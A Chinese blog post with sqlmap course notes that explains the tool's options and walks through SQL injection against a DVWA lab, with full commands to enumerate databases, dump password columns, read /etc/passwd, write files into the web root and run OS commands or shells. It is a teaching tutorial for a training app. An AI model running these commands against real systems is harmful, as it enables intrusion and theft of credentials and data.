首页 > 数据库 >SQLmap使用

SQLmap使用

时间:2023-02-19 17:00:36浏览次数:42  
标签:SQLmap sqlmap -- 数据库 Submit 参数 使用 id

SQLmap使用

只对sql注入进行测试

参数详解

Target:目标

-u

sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low "

image-20230219094100545

-m

# 从文本中获取多个目标扫描

image-20230219100855875

-r

image-20230219094702841

image-20230219095024232

sqlmap.py  -r 1.txt 

image-20230219100055533

Request:请求设置

--method:指定请求方法
--data:把数据以POST方式提交
--param:当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
--cookie:设置cookie,提交请求的时候附带所设置的cookie
--load-cookies:从文件获取cookie
--user-agent:可以使用–user-anget参数来修改
--headers:可以通过–headers参数来增加额外的http头
--proxy:设置代理,可以避免本机地址被封禁
--delay:可以设定两个HTTP(S)请求间的延迟 防止发送过快导致被封ip
--random-agent:使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level
参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
--referer:在请求目标的时候可以自己伪造请求包中的referer
–-level参数设定为3或者3以上的时候会尝试对referer注入。

--data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST参数。

python sqlmap.py -u "http://www.magedu.com/students.php" --data="id=1" -f --
banner --dbs --users

--scope

利用正则过滤目标网址

python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)"

--safe-url,--safe-freq

避免过多的错误请求被屏蔽

--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

Optimization:优化

-o 开启所有优化开关

Injection:注入

-p:设置想要测试的参数
--skip:不想要测试的参数可以通过 skip设置跳过
--dbms:指定数据库 节省sqlmap自己检测的时间
--os:指定数据库服务系统 节省sqlmap自己检测的时间
--tamper:使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过
waf和ips。

Detection:探测等级

--level=LEVEL 执行测试的等级(1-5,默认为1)
--risk:(*慎用此参数有风险), 共有四个风险等级(0-3),默认是1会测试大部分的测试语句,2会增
加基于事件的测试语句,3会增加OR语句的SQL注入测试。

探测等级

参数:--level

共有五个等级,默认为1,最大为5,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可 以根据相应的格式添加自己的payload。 这个参数不仅影响使用哪些payload,同时也会影响测试的注入点,GET和POST的数据都会测试, HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。3

风险等级

参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句 的SQL注入测试。 在有些时候,例如在UPDATE/DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可 能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。 1,2

Enumeration:枚举数据

-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA(数据库管理员)
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数
--dump 转储数据库表项,即下载
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件

标志

参数:-b,--banner 大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量 @@version,这主要取决于是什么数据库。

当前用户

参数:-current-user 在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:--current-db 返还当前连接的数据库。

当前用户是否为管理员

参数:--is-dba 判断当前的用户是否为管理员,是的话会返回True。

列出数据库管理用户

参数:--users 当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:--passwords 当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破 解。

列出数据库管理员权限

参数:--privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你 哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定 你想看哪个用户的角色。 仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:--dbs 当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:--tables,--exclude-sysdbs,-D 当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。 如果你不提供-D参数来指定一个数据库的时候,sqlmap会列出数据库所有库的所有表。 --exclude-sysdbs参数是指可排除系统数据库。 需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:--columns,-C,-T,-D 当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会 列出字段的数据类型。 如果没有使用-D参数指定数据库时,默认会使用当前数据库。

Brute force:爆破

--common-tables 检查存在共同表
--common-columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径

File system access:访问文件系统

--file-read=RFILE 从后端的数据库管理系统读取文件
--file-write=WFILE 上传文件到后端的数据库管理系统
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

从数据库服务器中读取文件

参数:--file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读 取的文件可以是文本也可以是二进制文件。

sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low "  --file-read "/etc/passwd"
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
security=low" -p id --file-read "/etc/passwd"

把文件上传到数据库服务器中

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上 传的文件可以是文本也可以是二进制文件。

sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low "  --file-write ="D:\software\sqlmap\1.txt" --file-dest="/var/www/html/1.txt" --batch

????





sqlmap.py -r  2.txt --batch  --file-write  "D:\software\sqlmap\1.txt" --file-dest "/var/www/html/1.txt"

python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
security=low" -p id
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
security=low" -p id --file-write="/opt/test_code/user.txt" --filedest="/var/www/html/user.txt"

Operating system access:访问操作系统

--os-cmd=OSCMD 执行操作系统命令
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell,meterpreter或VNC
--os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH Metasploit Framework 本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径

获取整个表的数据

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取整个表的所有内容。 使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。

python sqlmap.py -u "http://magedu/sqlmap/firebird/students.php?id=1" --dump -T
users

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。也可以用-dump跟-C 获取指定的字段内容。 sqlmap为每个表生成了一个CSV文件。

如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可以使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。

也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中第三个字符到 第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内 容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs排除系统数据库,只获取 用户数据库的表,即业务数据。

搜索字段,表,数据库

参数:--search,-C,-T,-D --search

可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。 可以在以下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数:--sql-query,--sql-shell sqlmap

会自动检测确定使用哪种SQL注入技术,如何插入检索语句。

如果是SELECT查询语句,sqlmap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支 持多语句执行SQL语句。

$python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --sql-query "SELECT 'magedu'" -v1

运行任意操作系统命令

参数:--os-cmd,--os-shell

python sqlmap.py -u "127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" -
-cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir; security=low" -p id --os-cmd id
;

用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE 写进可写目录,来创建一个web后门。支持的语言:

1、ASP
2、ASP.NET
3、JSP
4、PHP

爬行网站URL

参数:--crawl sqlmap

可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。此时的URL可以不带参数。 例子:

python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --batch --crawl=3

定义dump数据的格式

参数:--dump-format

输出的格式可定义为:CSV,HTML,SQLITE

自定义输出的路径

参数:--output-dir sqlmap

默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:-- output-dir=/tmp

实际利用(dvwa)

当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面

如果你想看到sqlmap发送的测试payload最好的等级就是3。

# 判断注入点,因系统需要登录所以要加 cookie
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
security=low" -p id



# 检测站点包含哪些数据库
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?
id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
security=low" -p id --dbs




sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low " --batch  -D dvwa -T users --columns

image-20230219161729085

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数 “--batch”命令来自动答复和判断

可以看到有4个数据库,我们选择dvwa数据库获取表名

sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low " --batch  -D dvwa --tables

image-20230219164001441

可以看到,dvwa里面有两张表,分别是guestbook,users。选择users表获取表中的字段

sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low " --batch  -D dvwa -T users --columns

image-20230219164134845

可以看到里面有password,直接获取我们想要的内容

sqlmap.py -u  "http://43.136.41.84:8080/vulnerabilities/sqli/?id=1&Submit=Submit" -p id  --cookie  "PHPSESSID=csc6u6tqf6segkmr8le7245rc6; security=low " --batch  -D dvwa -T users -C last_name,password --dump

image-20230219164444041

作业: 要求:零基础的人员能够看懂

SQL注入教程

​ 攻击

​ 如何识别sql注入

​ SQL注入分类

​ 不同类别注入方法

​ 不同类别的注入原理

​ 使用的各种函数和原理

​ 防御

​ 防御方法有几种

​ 不同防御方法的原理和方式

sqlmap教程

​ sqlmap使用

​ 各种参数的使用

​ 使用场景

​ 自身经验

标签:SQLmap,sqlmap,--,数据库,Submit,参数,使用,id
From: https://www.cnblogs.com/loayskt/p/17135063.html

相关文章

  • IDEA如何使用Maven不通过模板创建javaWeb项目
    IDEA如何使用Maven不通过模板创建javaWeb项目1.创建项目进入IDEA,点击“项目”>“新建项目”,填写项目信息,最后点击“创建”。点击“创建”后,自动进入新创建的项目。......
  • mapper-spring-boot-starter的使用
    <?xmlversion="1.0"encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:s......
  • Module理解及使用
    ES6的模块化设计思想是静态化,也就是说,在编译的时候确定模块的依赖关系,以及输出输出入的变量。而CommonJS和AMD模块都是在运行时确定的。ES6的模块不是对象,而是通过export显......
  • jQuery下载步骤以及相关使用
    jQuery下载进入相关网址执行下载操作,网址在这里:http://www.jq22.com/jquery-info122进入页面之后,页面的左侧,会有这样的显示:我们需要自主在这里选择自己需要的版本,然后......
  • ASUS RAMCache 使用教程
    硬盘加速软件,华硕出品,该版本为解除限制版,任何电脑都可以使用。安装好ASUSRAMCache软件后,先不要重新启动,复制解除限制的补丁文件,打开安装目录,默认是C:\ProgramFiles(......
  • 使用python批量转换.jfif文件为.jpg
    python代码如下,有需要的自行取用:需要引入Image库,方法是:pipinstallImage importosfromPILimportImageroot_dir=r'C:\temp'deflist_files(root_dir):......
  • dashboard安装使用
     github地址:​​      ​​​https://github.com/kubernetes/dashboard/releases​​安装说明上面由当前dashboard的匹配信息和安装yaml文件。下载yaml文件到本地w......
  • 如何使用JDBC操作数据库?JDBC快速入门
    (文章目录)1.前言在Java开发中,使用Java语言操作数据库是非常重要的一部分,那么Java语言是如何操作数据库的呢?我们需要使用不同厂商的数据库时,例如MySQL,Oracle等,显......
  • 【MySQL-索引:分类,语法,性能分析,使用,设计原则】
    零、本文纲要一、索引概述二、索引分类三、索引语法四、SQL性能分析五、索引使用六、索引设计原则tips:Ctrl+F快速定位到所需内容阅读吧。一、索引概述索引(index)是帮助MySQ......
  • 12、dataloader的使用
    dataloader数据加载器:将数据加载到神经网络中。定义每次取多少数据,怎么取1、打开pytorch官网----Doc中找pytorch官方文档----搜索dataloader出现在torch.utils,.data.Dat......